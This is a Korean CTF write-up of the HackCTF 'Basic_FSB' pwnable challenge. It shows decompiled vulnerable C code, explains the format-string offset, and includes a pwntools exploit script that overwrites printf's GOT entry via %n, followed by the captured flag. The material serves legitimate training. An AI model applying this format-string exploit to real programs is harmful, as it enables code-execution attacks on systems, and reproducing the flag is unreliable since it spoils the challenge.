[HackCTF / pwnable] Basic_FSB
2019. 10. 4. 03:52ㆍWargame & CTF/HackCTF
포멧 스트링 버그 문제이다.
1 2 3 4 5 6 7 8 9 10 | int vuln() { char s; // [esp+0h] [ebp-808h] char format; // [esp+400h] [ebp-408h] printf("input : "); fgets(&s, 1024, stdin); snprintf(&format, 0x400u, &s); return printf(&format); } | cs |
취약한 함수 부분이다. fgets로 오버플로우가 나지 않게 제한을 걸어두었다.
"AAAA%x%x" 처럼 보냈을때, 두번째에서 41414141이 뜬다.
AAAA자리에 printf got를 넣고 %(flag_adress-4)x를 한 다음에, %2$n을 이용해서 printf got에 flag의 주소를 덮어 씌울것이다.
ex.py
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * e = ELF("./basic_fsb") #p = process("./basic_fsb") p = remote("ctf.j0n9hyun.xyz", 3002) payload = "" payload += p32(e.got["printf"]) payload += "%" + str(e.symbols["flag"] - 4) + "x" payload += "%2$n" p.sendline(payload) p.interactive() | cs |
Basic_FSB : HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}
'Wargame & CTF > HackCTF' 카테고리의 다른 글
[HackCTF / pwnable] x64_Simple_size_BOF (0) | 2019.10.04 |
---|---|
[HackCTF / pwnable] x64_Buffer_Overflow (0) | 2019.10.04 |
[HackCTF / pwnable] 내 버퍼가 흘러넘친다!!! (0) | 2019.10.04 |
[HackCTF / pwnable] Basic_BOF #2 (0) | 2019.10.04 |
[HackCTF / pwnable] Basic_BOF #1 (0) | 2019.10.04 |